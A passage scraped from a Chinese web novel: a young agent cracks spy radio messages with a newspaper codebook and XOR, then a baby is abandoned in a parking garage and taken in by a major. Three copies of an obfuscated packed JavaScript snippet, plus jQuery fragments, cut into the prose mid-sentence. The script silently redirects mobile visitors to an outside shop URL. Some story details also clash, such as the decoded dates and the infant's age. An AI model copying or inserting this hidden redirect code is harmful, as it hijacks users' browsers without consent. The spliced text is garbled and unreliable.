进展缓慢,时而有微弱的巧合,但无法形成稳定可重复的解码方案。她如同在攀登一座迷雾中的高山,看不见山顶,只能依靠直觉和逻辑,一步步向上。疲惫日益加深,但那个隐藏在电波中的秘密,以及可能随之而来的危险与真相,像磁石一样牢牢吸引着她,让她无法停下脚步。 她知道,自己正行走在一条纤细的边界上。一边是破解谜题的巨大诱惑,另一边则是可能惊醒未知危险的深渊。而密码本的影子,似乎已近在咫尺,却始终隔着一层无法捅破的薄纱。或许,她还需要一个契机,一个灵感,或者……一个错误。一个来自信号发送方或接收方的、微小的、足以暴露其逻辑的失误。她调整了一下收音机的频率旋钮,在轻微的电流噪音中,等待着下一个夜晚,和下一个可能出现的突破口。 叶馨蒙的手指划过微潮粗糙的纸面,停在一份泛黄的《瑆洲晚报》上。日期:1997年11月6日。 这并非她原本寻找的近期报纸。但吸引她目光的,是这份旧报纸被异常工整地折叠着,夹在一堆散乱无序的旧书刊中,显得格格不入。更关键的是,报头下方的空白处,有人用极细的铅笔,写下了一行几乎难以辨认的小字,并非汉字,而是: ·——·//6-A-3 她的呼吸瞬间凝滞。 “·——·”! 那个独一无二的起始码,竟然以这种形式,出现在一份二十多年前的旧报纸上! 她几乎是屏住呼吸,小心翼翼地抽出这份报纸,付了款,将它像易碎品一样带回住所。 灯光下,她仔细研究这份报纸。日期是97年11月6日。起始码旁的标注“6-A-3”,极有可能是坐标:第6版,A区域(或是左上角/某种分区),第3行。这是一个经典的“书本密码”或“报纸密码”坐标指示法! 她迅速翻到第六版。那是一版国际新闻和财经简讯混合的版面。按照“A-3”的可能解读(假设A代表左上角起始的第一个文本块),她的目光锁定在第三行。那是一则不起眼的外汇汇率报道中的一句:“美元兑日元汇率小幅波动,市场观望情绪浓厚。” 仅仅一行字。这如何作为密码本? 叶馨蒙强迫自己冷静。如果这是密码本,那么它的作用很可能不是提供大段文字,而是提供一个“种子”或“密钥流”。最常用的方法之一:用这行文字的字母或数字(或其编码,如ASCII码、笔画数等)作为密钥,与截获的二进制信号序列进行某种运算(如异或),来得到真正的明文。 她立刻行动。 第一步:提取密钥。 将第三行文字转换为数字。她选择最直接的汉语拼音首字母(大写)ASCII码: “美元兑日元汇率小幅波动,市场观望情绪浓厚。” 取每个字拼音首字母(忽略标点):M、Y、D、R、H、L、X、F、B、D、S、C、G、W、Q、X、N、H。 将每个字母转换成ASCII码(十进制):77,89, 68, 82, 72, 76, 88, 70, 66, 68, 83, 67, 71, 87, 81, 88, 78, 72。 得到一列数字密钥流:77, 89, 68, 82, 72, 76, 88, 70, 66, 68, 83, 67, 71, 87, 81, 88, 78, 72。 第二步:处理信号。 她取用最早记录下的、最清晰完整的一组核心脉冲序列(剔除起始码和终止静默),将其按照之前最可能的假设(·=0,—=1)转换成二进制数字串。例如,序列“··—/—··/——·/·—·”可能转换为:001, 100, 110, 010……(这里仅为示例,她使用的是真实记录的更长序列)。她将这些二进制组转换为对应的十进制数字(每3位或5位一组,取决于她的分组结论),得到另一列数字:密文流。 第三步:尝试解密。 最简单的运算是模10加法(或减法),或异或(XOR)(需将十进制转到二进制位进行)。她先尝试模10加减:将密文流的每个数字,与密钥流的对应数字(循环使用,因密钥可能较短)相加或相减(模10),看看得到的数字是否构成有意义的编码(如新的ASCII码,或直接对应字母表的序号1-26)。 她伏在案前,笔尖飞速计算。数字、符号、假设的转换规则……时间悄然流逝。 第一次尝试(简单模10加法),得出的数字序列杂乱无章。 第二次尝试(密文减密钥模10),结果依然无意义。 她的心微微下沉。难道是运算方式不对?或者,密钥不是拼音首字母ASCII码?是笔画数?还是英文翻译的首字母? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937077|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她换了思路,尝试XOR运算。她将密钥流数字转换成8位二进制,与她信号转换出的二进制组(按8位对齐,不足补零)进行逐位XOR。 计算……等待…… 当新生成的一串二进制呈现在纸上时,她习惯性地将其按8位一组分割,然后查阅ASCII码表进行转换。 第一个8位二进制:01001000→72→''H'' 第二个:01100101→101→''e'' 第三个:01101100→108→''l'' 第四个:01101100→108→''l'' 第五个:01101111→111→''o'' Hello。 一个简单的、测试性的单词,却像一道强光,瞬间刺破了所有的迷雾和疲惫! 叶馨蒙的手微微颤抖。不是恐惧,而是巨大的、几乎令她晕眩的兴奋和确认感。她找到了!不仅找到了密码本的形式(动态报纸坐标密码),还验证了解码算法(XOR运算),并且成功破译了第一个有意义的单词! 她立刻用同样的方法(97年11月6日,6-A-3坐标,XOR运算)去尝试破译后来几晚截获的不同信号内容。虽然起始码相同,但信号内容不同,理应得出不同的明文。 计算……转换…… 新的信息浮现出来,不再是测试词,而是简短的、电报式的短语: “安全。通道A畅通。保持静默。1122。” “有尘。清扫B区。1201前。” “包裹已存C点。确认。勿回。” 这些短语冰冷、高效,充满了行动指令和状态报告的意味。日期(0422,0601)显然是行动时间或截止日期。“尘”可能指可疑人员或风险,“清扫”意味着清除或规避。 叶馨蒙靠在椅背上,背脊发凉,手心却渗出细汗。她真的截获并破译了一个活跃的、使用经典动态密码本进行联络的间谍网络信息! 那份1997年11月6日的旧报纸,是一个“密钥日”的样本。它暗示,这个间谍网络可能长期使用《瑆洲晚报》(或类似每日发行的固定出版物)作为动态密码本的来源。每天的报纸,结合一个只有内部人员知道的、像“·——·//6-A-3”这样的“坐标算法”(坐标可能每日或每周按固定规律变化,如日期函数),就能生成当日的唯一密钥。起始码“·——·”很可能就是“使用当日《瑆洲晚报》”的指令,而具体坐标则需要接收方通过另一套机制(可能是记忆的算法,也可能是更早下达的指令)自行计算得出。她捡到的这份,或许是某个接收方的训练样本、备份,或是不慎流失的“密钥日”存档。 她看着破译出的信息,目光最终落在“包裹已存C点”和“有尘。清扫B区”上。信息是单向的,她不知道“C点”和“B区”在哪里,也不知道“尘”是谁。但她知道,自己无意间撞破的秘密,可能关乎现实的安全与危险。 接下来的路,骤然变得清晰,也无比险峻。她可以: 1.继续监听破译,试图获取更多地点、人员、行动计划信息。 2.根据已有信息,尝试定位“C点”、“B区”,进行隐蔽观察。 3.将这一切报告给上级。 然而,如何证明?她知道贸然接触不明官方机构,会引发何种连锁反应?对方网络如果察觉到信号被截获破译(尽管可能性低,但并非为零),会作何反应? 窗外的夜色,比以往任何一夜都更加深沉。收音机静静地躺在桌上,指示灯熄灭。但叶馨蒙知道,无形的电波仍在夜空中穿梭,承载着秘密与指令。而她,已经掌握了倾听它们耳语的能力,也被迫站在了一个必须做出选择的十字路口。手中的旧报纸微微发烫,仿佛承载着远超其纸龄的重量。 叶馨蒙将自己锁在宿舍里,窗帘紧闭。桌上摊着那份作为密码本的旧报纸,旁边是她写满二进制推导和位置坐标的草稿纸。空气中弥漫着一种近乎凝固的专注。 “买卖…已备货…老地方…” 这些词像冰冷的碎冰,在她心头碰撞。但她知道,这些只是信息的主体,还缺少最关键的元素——身份。是谁在联络?谁是买方?谁是卖方? 她的目光落在了那段被她破译出的、位于信息开头,紧随起始码之后的一组特殊序列上。这组序列比代表词汇的编码要稍长一些,结构也略有不同,之前她一直将其视为某种内部指令格式而暂时搁置。 现在,她必须攻克它。 第一步:聚焦“签名” 她假设这组序列是发报方的“签名”——也就是代号。如果核心信息都用报纸坐标编码,那么代号很可能也遵循同一套规则,只是或许用了不同的映射方式。 她将这组特殊的点划序列单独抄录在一张新纸上,开始尝试各种二进制分组方式。五位数对应坐标的方式在这里行不通,序列长度不符合。她尝试四位数、三位数…… 第二步:模式的浮现 当她尝试将序列按三位数一组进行分割并转换为十进制时,得到了一组看似无意义的数字:3, 12, 21, 5… “3,12,21,5…”她喃喃自语。这不像页码,也不像行列号。它们太小了,更像是……索引? 60. 不明电波(5) 一个念头如电光石火般闪过——中文电报编码?每个汉字对应一个四位数的数字代码但这里是三位数。或者是……字典索引? 她立刻抓过那本作为密码本的报纸的副刊,副刊后面通常会附有简单的“便民信息”,比如节气表、常用字表等。她尝试将数字对应到字表的顺序。 3-第3个字。 12-第12个字。 21-第21个字。 5-第5个字。 她的手指顺着字表移动,心脏开始不受控制地剧烈跳动。 3——【翠】 12——【青】 21——【蛇】 5——(这一组似乎还有后续,但3,12,21已经组成了一个完整的词!) 翠青蛇。 这三个字映入眼帘的瞬间,叶馨蒙如同被一道无形的闪电击中,猛地从椅子上站了起来,碰倒了手边的水杯。水漫过草稿纸,她却浑然不觉。 第三步:灵魂的震颤 翠青蛇。而她的代号是——金环蛇。莫非是同类? 在瑆洲那个庞大而隐秘的军部谍报系统中所有一线外勤谍报人员皆以毒蛇为代号。这是一个严格且极具标识性的传统。如金环蛇、银环蛇、眼镜王蛇、地毯蟒,……每一个代号都代表着一个在阴影中游走的灵魂。 “翠青蛇”……初出茅庐以来挖出的又一个蛇代号,十有八九属于瑆洲军方谍报系统!这意味着她偶然截获并破译的,根本不是普通的犯罪交易,而是军部某个情报组织正在发起活动的通讯! 不过这翠青蛇。究竟是什么人,什么来历。来自哪个系统呢?如果真是这样那么这场“买卖”就不是简单的黑市交易。 猜测她涉及的“货”很可能是比军火毒品更致命的东西——情报、技术? 第四步:重构认知 所有的线索在此刻被彻底重构:发报翠青蛇——极有可能是军部某个谍报组织旗下某个未知现役特工。 内容:秘密联络,进行一场关于“货”的买卖。 背景:使用她熟知的、蛇系特工可能沿用的或改良过的通讯密码。…… 于是带着对“翠青蛇”身份的确认,她重新投入对之前信号的完整破译。利用报纸密码本将剩余的字符如同被线串起的珍珠,逐渐显现出完整的意图。信息变得清晰起来: “新研发的药品……可以交易。你可以定个时间,我们见面,交货。——翠青蛇” “新研发的药品……”叶馨蒙咀嚼着这个词。不是军火,不是普通情报,而是药品。是某种受管制的特效药?还是……更具战略价值的、可以颠覆某个领域平衡的生化制剂?从小在a军区长大的她明白,这种东西的价值有时远超黄金,是各方势力角逐的焦点。 “你可以定个时间,见面,交货。”——这条信息显示出,“翠青蛇”是卖方并且在将交易的主导权交给买方。这符合高风险交易的特征,卖方希望由买方选择他们认为最安全的时间和地点。 这条信息本身已经足够惊人。但就在叶馨蒙试图分析“药品”可能指代何物时,她的收音机在三日之后再次捕捉到了一丝异样! 那是在调频信号的边缘,一个极其微弱几乎被背景噪音完全淹没的“滋滋”声。它与“翠青蛇”信号的频率、调制方式甚至“节奏感”都截然不同。如果说“翠青蛇”的信号是冷静、规整的,那么这个新信号则显得更急促、更隐蔽甚至带着一丝不易察觉的侵略性。 她浓眉紧紧蹙,怀疑这不是背景噪音。这是另一个加密信号! 她立刻进入了双线作战的状态。她需要同时记录和追踪两个信号源。 她不得不冒险使用笔记本电脑,同时运行两个音频录制软件,分别锁定两个信号的频率范围,进行长时间录音。她则像一名交响乐指挥,在笔记本和收音机之间切换,用不同颜色的笔,在分开的笔记本上记录两套完全不同的点划符号系统。 初步记录显示,新信号的编码方式与“翠青蛇”的报纸坐标法完全不同。它的脉冲更短促,间隔更随机,几乎没有明显的重复周期。这更像是一种突发式、低概率截获的通讯,专业程度极高,甚至可能使用了更先进的跳频或加密技术。 这个新的信号源是谁? 可能性A:买方。这是最直接的猜测。“翠青蛇”发出了邀约,买方用另一套更隐蔽的系统回复。这显示出买方同样具备高超的反侦察能力。 可能性B:第三方——监视者。一个更可怕的念头浮现:是否有另一股势力,比如安全部门或其他情报组织,已经盯上了“翠青蛇”的这次交易?这条新的电波,是他们在进行监控联络? 可能性C:组织内的其他环节。也许是“翠青蛇”的上线或支援小组,使用着不同的通讯渠道。 叶馨蒙坐在宿舍这方寸之间,却仿佛置身于一个无形的电磁战场中心。她眼前浮现出这样的图景: 明线:“翠青蛇”手握“新研发的药品”,正在等待买方定下交易时间地点。 暗线:一个身份不明的神秘第二方,正在同一片电磁领域内活跃,其目的未知。 而她,叶馨蒙,金环蛇,是唯一一个同时监听着这两条线的人。她知道了一场危险的交易即将发生同时察觉到可能存在的“黄雀”。但她自己却爱莫能助? 她接下来的行动将直接决定她的命运:是继续潜伏破译,试图揭开第二方的面纱?还是冒险介入,试图影响这场交易?亦或是她本身已经成为这两个(或三个)势力之间,那个最先被发现的脆弱环节? 捕捉到第二道电波意味着她踏入的不是一个简单的黑市交易,而是一个多方势力暗中角力的复杂棋局。每一步,都可能是深渊…… 尽管如此叶馨蒙还是决定将全部精力都投入到那第二道神秘的电波上。然而,又几天过去,挫败感像藤蔓一样缠绕上来。这道电波像一个没有缝隙的金属蛋,任由她使出浑身解数也找不到任何破译的入口。 困境的具体表现: 1.无法建立符号系统:脉冲的形态极其不规则。它不像是清晰的点(·)和划(—),更像是一连串持续不断、强度在微妙变化的“嘶嘶”声。传统的莫尔斯式记录法完全失效,她根本无法用笔和纸来准确描述这种连续的变化。 2.没有重复模式:她连续多个晚上监听,记录了大量的音频片段。但当她进行比对时发现几乎没有完全相同的序列。这与“翠青蛇”信号规律性的重复循环形成了鲜明对比。这意味着,要么信息每次都在变,要么它根本不是以“组”为单位发送的。 3.频谱图也显得“混乱”:她将录音导入手机频谱图APP,看到的不是整齐的、有规律的线条或脉冲,而是一片类似背景噪音的、近乎随机的雪花状图案,只是其强度集中在某个特定频段,表明它确实是人为信号,而非自然噪声。 4.节奏感诡异:如果仔细聆听,这股电波有一种非人性的、极其精确又快速的节奏,不像人手操作电键能发出的,更像是机器对机器的直接通讯。 叶馨蒙的思维旋涡:“这到底是什么?”她揉着发胀的太阳穴,在笔记本上写下了几种可能性,每一种都指向更深的技术深渊: ·可能性一:数字加密与调制。 ·推测:这根本不是基于听觉的、给人破译的代码。信息本身已经是经过高强度加密的数字流(0和1的序列),然后通过某种特殊的调制方式(如PSK相位调制、QAM正交调幅)加载到无线电波上。 ·比喻:这就像她懂的是解读“文言文密码”,而对方直接在用“二进制机器语言”进行交流,并且还加了一层她看不懂的“方言”。 ·结论:没有专用的解调软件和强大的解密算法(甚至可能需要量子计算机),单靠人耳和频谱图,根本不可能破解。这需要一整个国家级的信号情报团队才能处理。 ·可能性二:一次性密码本或动态密钥。 ·推测:即便她能设法将信号还原成数字流,对方也可能使用了一次一密的密码本,密钥与信息等长且绝对随机,用过即焚。或者使用了动态密钥,每次通讯的密钥都在变化。 ·结论:理论上无法破译。这是间谍通讯的“圣杯”。 ·可能性三:低概率截获通讯或“突发”传输。 ·推测:这种信号并非用于长时间通话而是在极短的瞬间(可能只有零点几秒)将大量信息“喷射”出去。接收方在预定时间、预定频率守候,完成接收。她捕捉到的可能只是其中一次“喷射”,没有头也没有尾,自然找不到规律。 ·结论:她需要极大的运气和更精密的设备,才能捕获完整的、有意义的通信序列。 ·可能性四:并非情报通讯,而是其他用途。 ·推测:这是某种遥控指令(例如,引爆、激活某个设备)、无人机数据链、甚至是数字钞票的传输(在特定频段进行区块链同步?)? ·结论:目的未知,但技术层级极高。 这道无法破译的电波,其存在本身就是一个巨大的警告。它告诉叶馨蒙: 1.对手的级别远超想象:与这条电波背后的势力相比,“翠青蛇”所使用的报纸坐标法简直像是上一个时代的古董。这意味着,介入这场“药品交易”的,至少有一方是拥有顶尖技术和资源的国家级或跨国势力。 2.她自身的局限:她尚浅薄的经验在面对这种全新技术时,显得有些过时和无力。她就像一个冷兵器时代的武士,突然听到了狙击步枪的消声器声响,知道危险存在,却完全无法理解其运作原理,更无从防御。 3.危险的失衡:如果这条电波属于“翠青蛇”的交易对手(买方),那么“翠青蛇”很可能是在与一个自己并不完全了解的魔鬼做交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937078|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易,处境极其危险。如果这条电波属于第三方(监视者),那么“翠青蛇”和买方可能都已在不知情的情况下被盯上。 叶馨蒙放下笔,看着屏幕上那片混乱的频谱图。她知道她撞上了一堵技术的厚墙。破译“翠青蛇”带来的些许成就感已荡然无存,取而代之的是一种更深的无力感和紧迫感。 她无法破译这道电波,但这道电波的存在让她意识到,她所窥见的这场交易,其水远比她想象的更深、更浑。她必须做出选择:是继续徒劳地试图破解这无法破解的信号,还是利用已经破译的“翠青蛇”信息,采取更直接的行动?…… 在接下来的日子里,叶馨蒙的生活被切割成固定的模式:上课、扮演普通高中生,以及所有空闲时间里,如同obsessivepulsive般守候在收音机前。她成为了一个无声的窃听者,目睹着这场隐秘交易的谈判全程,并一次次被那道无法理解的幽灵电波所警示。 第一幕:初次确定与幽灵初现 ·日期:三天后 ·买家信号:“交易日期……定在11月18日” ·翠青蛇回应:“确定。” ·叶馨蒙的观察:交易似乎顺利开启。她刚刚记录下“确定”二字,那道熟悉的、杂乱无章的“滋滋”声便如同鬼魅般,在另一个频率上突兀地响起,持续了约十秒后消失。 ·她的内心:“又来了……是巧合吗?刚好在交易时间敲定时出现?” 第二幕:首次变故与幽灵再临 ·日期:四天后 ·买家信号:“翠青蛇……日期有变” ·翠青蛇质问:“为何” ·买家回复:“不方便说……再联系” ·叶馨蒙的观察:交易出现波折。而就在买家说出“不方便说”之后几秒钟,那道幽灵电波再次出现,这次持续时间更长,信号强度似乎也略有提升。 ·她的分析:巧合的概率在降低。这道电波的出现,似乎与交易的关键节点(确定、变更)紧密相关。一个可怕的念头浮现:买家变更日期,是否是受到了某种外部压力或收到了新的信息?而这道电波,就是传递这种压力或信息的渠道? 第三幕:再次确定与幽灵的确认 ·日期:七天后 ·买家信号:“11月30日交易” ·翠青蛇回应:“定了” ·叶馨蒙的观察:新的日期被确定。几乎在“定了”这个信号发送完毕的瞬间,幽灵电波第三次如期而至。这一次,叶馨蒙甚至能感觉到那“滋滋”声里带着一种……确认的意味? ·她的推论:这绝不是巧合!这道电波与这场交易高度相关。它要么在监控交易进程,要么在引导甚至操控买家的行为! 第四幕:最终确认与地点暗示,幽灵如影随形 ·日期:第九天 ·买家信号:“日期定了。11月30日交易,你们……在那个地点等……” ·叶馨蒙的观察:信息提到了“那个地点”,这无疑是至关重要的信息。然而,就在这个最关键的信息传递过程中,幽灵电波第四次出现,并且与买家的信号有部分重叠! ·她的震撼与恐惧: 1.如影随形:这道电波对交易的每一个步骤都了如指掌,如同一个悬在头顶的隐形监视器。 2.无法理解:她依然无法破译其内容,这种未知是最大的恐惧。它可能在向买家发送指令,可能在向第三方汇报,甚至可能……在干扰或篡改她听到的信号? 3.螳螂捕蝉,黄雀在后:局面已经非常清晰。“翠青蛇”和买家都以为他们在进行一场秘密交易,但他们的一切通讯,很可能都在这个“幽灵”的实时监控之下。 叶馨蒙的结论与困境: 现在,她掌握了: ·交易最终时间:11月30日。 ·交易地点暗示:“那个地点”——一个需要她结合前后文或外部信息去推断的地方。 ·一个确定的威胁:一个技术远超她、目的未知的第三方势力,正在紧密监视并可能意图介入这场交易。 她站在了一个极度危险的三岔路口: ·选项A(潜伏):继续监听,试图在11月30日前破译出“那个地点”,并亲眼去见证这场被幽灵监视的交易。这无异于飞蛾扑火。 ·选项B(警告):冒险以某种方式向“翠青蛇”发出警告?但这几乎不可能做到,而且会彻底暴露她的存在。 ·选项C(抽身):立刻停止一切,彻底忘掉这些信号回归平凡生活。这是最安全,但她的特工灵魂和追查前世真相的执念绝不允许。 那道无法破译的幽灵电波,此刻在叶馨蒙听来,不再仅仅是噪音,而是倒计时的钟摆,一声声,敲响在11月30日即将到来的、充满未知危险的夜晚……(后续见第四季《边境血战》) 61. 军区秘恋(1) 2007年。圣诞季刚过,元月初的夜晚,空气里还残余着节日的甜腻与潮湿的热气。乌节路一带,即便入夜,霓虹依旧贪婪地舔舐着深紫色的天幕。然而,距离那流光溢彩的主干道几条街外,某座老牌百货大楼的地下停车场却是另一番景象—— 空旷、森冷,弥漫着汽油与混凝土的沉闷气息。荧光灯管发出嗡嗡的低鸣,在水泥柱和车辆上投下青白、界限分明的影子。 接近子夜,车流已稀。一个身影出现在停车场B2层的角落。那是一个华裔女人,穿着一件剪裁精良的米白色风衣,衣料挺括,即便在晦暗光线下也能看出价值不菲。她身形高挑纤瘦,长发在脑后挽成一个一丝不苟的发髻,露出线条清晰、却无甚血色的侧脸。她怀中抱着一个包裹。 那是一个很小的孩子,约莫一岁多,裹在柔软的鹅黄色羊毛开衫里,脚上是一双精致的白色小羊皮软底鞋。孩子头发乌黑,在头顶用一枚镶着细碎仿钻(或可能并非仿钻)的小小草莓发卡别住。她似乎刚睡醒,又或许天性安静,不哭不闹,只是睁着一双极大的眼睛,琉璃般的瞳仁映着远处车灯偶尔扫过的流光,好奇地打量着这个冰冷、空旷、充满回音的巨大洞穴。 女人脚步极快,高跟鞋敲击地面的声音清脆、短促,带着一种不容置疑的决绝。她走到一根承重柱后面,那里更暗,远离主要车道。她蹲下身,将孩子轻轻放在地上,又迅速从随身的大号提袋里拿出一个鼓鼓囊囊的帆布袋放在孩子手边。孩子的视线从陌生的环境移到女人脸上,小手无意识地抓挠了一下空气。女人伸出手似乎想最后抚摸一下孩子的脸颊,但指尖在即将触碰到那细嫩肌肤时,蓦地停住,蜷缩起来。她的嘴唇抿成一条苍白的直线,眼中似有剧烈的波澜翻滚,但最终归于一片深不见底的寒潭。她倏地起身,再没有任何犹豫,转身快步走向不远处一辆刚刚亮起车灯的黑色轿车。车门打开,她迅速钻入,轿车几乎无声地滑入车道,拐弯,消失在上行坡道的尽头。 整个过程,不过两三分钟。 女婴独自坐在冰冷的水泥地上。她扭动了一下,试图去抓旁边的帆布袋,没够着。她仰起头,看着头顶那排嗡嗡作响的灯管,眨了眨眼。远处传来引擎的轰鸣,由远及近,一辆车打着灯驶过,光柱扫过她的身体,又迅速离开将她重新抛回昏暗。她似乎觉得这光影游戏有趣,咧开嘴,露出几颗珍珠米似的小牙,发出“咿呀”一声。 时间一分一秒过去。 停车场并非完全无人,偶尔仍有晚归的车主来取车,引擎声、开关车门声、脚步声零星响起。但柱子后的角落太过隐蔽,无人注意到这里有个被遗落的小生命。孩子开始有些不耐,她扶着粗糙的柱子摇摇晃晃地站了起来。身上的小羊毛衫温暖柔软,与周遭的坚硬冰冷格格不入。 她迈开了腿。一步,两步,踉踉跄跄,却带着初生牛犊般的无畏。她离开了柱子的阴影,向着稍微明亮、车辆往来更多的车道方向蹒跚而去。她完全不懂危险为何物,只觉得前方更亮,或许更有趣。 一辆银灰色的本田从转角驶来,司机正打着电话,车速不快,但注意力显然不在前方路况。车灯照亮了前方一片区域,也照亮了那个突然出现在车道正中的、鹅黄色的小小身影。司机眼角余光瞥见,骇得魂飞魄散,猛地一脚急刹!轮胎摩擦地面发出刺耳的尖叫,在空旷停车场里被放大数倍,令人牙酸。车子在距离女婴仅仅四五步远的地方惊险停住,车头几乎要吻上她。 女婴被这突如其来的巨响和强光吓住了,呆立原地,小嘴一扁,眼看就要哭出来。 那辆本田的司机惊魂未定,咒骂着推开车门。而几乎在同一时间,另一辆深绿色的路华越野车也从另一侧驶近,见状立刻减速,停在几米开外。一个穿着casual polo衫和卡其裤的中年男人敏捷地跳下车。他肤色黝黑,身材结实,步伐沉稳有力,留着板寸,眉宇间有种经过风霜的硬朗。他先于本田司机快步冲到女婴身边。 “喂!谁家的小孩?太危险了!”本田司机是个年轻人,脸色发白地嚷道。 中年男人没理会他,迅速但极其小心地弯腰,张开手臂,用一种不会惊吓到孩子的姿势轻轻将那个瑟瑟发抖的小不点抱了起来。孩子很轻,抱在怀里像一团温暖的云。她身上有淡淡的婴儿香,混着一丝停车场冰冷的灰尘味。 接触到人类温暖的怀抱,她扁着的小嘴放松了些,湿漉漉的大眼睛看着抱住她的陌生面孔充满困惑,但奇异地没有哭闹。 “没事了,没事了。”中年男人用带着点南洋口音的华语低声哄着,声音粗粝但刻意放柔。他凌厉的目光迅速扫视四周,除了那辆本田和几个被惊动、驻足张望的远处行人,并无任何像是孩子家长的人焦急跑来。 “阿兵哥,这……这怎么回事?”本田司机凑过来,心有余悸。 中年男人——梁安诚,确实是一名军人,瑆洲b军区的陆军少校,今晚只是出来替妻子买遗漏的食材,没想到遇上这等事。 他眉头紧锁,对司机说:“不像是意外走失,附近没人。”他抱着孩子走回柱子后面看到了那个帆布袋。 梁安诚单膝跪下,一手稳稳抱着孩子,一手打开袋子。里面东西齐全得令人心惊:几套质地柔软、款式雅致的婴儿衣物(品牌他虽不认识,但触感极好),大小不一的纸尿裤,未开封的奶粉罐和奶瓶,洗得干干净净的安抚玩偶,还有一小盒常备婴儿药品。所有物品摆放整齐,一丝不乱。 他继续翻找,手指在袋底触到一个硬硬的、小巧的东西。拿出来,是一个透明的防水小袋,里面装着一张纸条。纸条上,是用黑色墨水笔写下的几行字,字迹娟秀流畅,用的是英文: 「Her name is Serena. Born on:16 April 1995, at 03:47 a.m. Please take good care of her. She is loved.」 没有姓氏。没有更多信息。“Serena”,一个美丽的名字,意为“宁静”。出生日期精确到分钟。还有那句“She is loved”(她是被爱着的),在此情此景下,读来格外令人揪心。 梁安诚的目光回到怀中的孩子——Serena身上。她正抓着他polo衫的领口,好奇地研究上面的纹路。他仔细打量她:精致的五官,白皙的皮肤,身上那件鹅黄色羊毛小开衫,脚上那双一尘不染的软底鞋,还有头发上那枚在昏暗光线下仍微微闪亮的草莓发卡。一切都指向一个事实:这个孩子,并非来自寻常人家。遗弃她的过程,看似决绝,却处处透着一种矛盾的“精心”——选择了相对有人可能经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937079|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过的停车场而非荒郊野外,留下了足够维持一段时间的必需品,提供了精确的出生信息,甚至特意强调“她被爱着”。 这不像是一时冲动的抛弃,更像是一场痛彻心扉、却又不得不为的……交割。 “阿兵哥,现在怎么办?报警吗?”本田司机问。 梁安诚沉吟片刻。报警是必然程序。但看着怀中这个全然信赖倚靠着他、对即将降临的命运一无所知的小生命,他心中涌动着一股复杂的情绪。军人的职责,与人性最基本的恻隐,交织在一起。 “我先带她离开这里,这里太冷,也不安全。”他做了决定,“我会联系相关部门。” 他小心地将孩子和那个装满物品的帆布袋带上自己的车,放在副驾驶座,用安全带简易固定好。孩子似乎累了,靠坐在宽大的座椅里抱着他塞给她的安抚玩偶,眼皮开始打架。 梁安诚没有立刻开车。他坐在驾驶座,透过车窗望向之前那个阴暗的角落。那里现在空无一物,只有荧光灯依旧惨白地亮着。那个穿白色风衣的神秘女人,如同午夜出现又消散的雾气,只留下这个名叫Serena的小小谜团。 他发动汽车,引擎低吼。车子缓缓驶出阴暗的停车场,融入瑆洲阑珊的夜色。霓虹灯的光芒透过车窗,在孩子安睡的脸庞上投下流动的色彩。 他不知道她的来历,不知道她为何被遗弃,也不知道那句“她是被爱着的”背后,藏着怎样的故事与哀伤。 他只知道,这个名叫Serena的女婴,此刻,需要一个安身之所。 他将车开回b军区,打算把孩子交给里面的专属保育园。那里有完善的设施,有经过培训的保育员,孩子在这里生活会很安全。 值班的保育主任是位经验丰富的女士,看到梁安诚抱着个孩子和一大袋物品深夜到来听完简短的叙述立刻明白了事情的严重性。她熟练地接过已睡着的孩子,检查了物品和那张出生纸条,叹息一声:“又是一桩心事……可怜的孩子。” 按照流程,他们需要先为孩子登记一个临时身份,以便照顾和后续手续办理。保育园的孩子大多来自军人家庭,取名常带有一定的寓意或随意性。 “她原来叫Serena,宁静的意思……”保育主任看着孩子恬静的睡颜,思索着,“既然是在千禧年之前来到我们这里,又经历了这样一个夜晚……就叫‘夏千荨’吧。‘夏’取四季之盛,生机勃勃;‘千’喻其历经变幻;‘荨’是一种草,看似柔弱,实则生命力顽强。希望她能像夏日野草,风雨过后,依旧向阳生长。” 梁安诚默念了一遍这个名字:夏千荨。一个中文名覆盖那个带着英伦气息的“Serena”,仿佛一种新的开始,植根于这片赤道土地。 “夏千荨。”他低声道,目光落在小床上那张无知无觉的睡脸上。 夜色更深。保育园的灯光温暖而宁静。夏千荨,这个被遗弃在午夜停车场的女婴,在这个与她身世格格不入的、充满阳刚与秩序气息的天地里,找到了第一个临时港湾。她的过去成谜,未来未卜。而瑆洲这座城市的夜晚,依旧车水马龙,霓虹闪烁, 仿佛什么都没发生过。 只有那个匆匆离去的白色身影,和这张写着“她是被爱着的”纸条,在记忆的暗角,留下了无法磨灭的、冰与火交织的印记。 62. 军区秘恋(2) 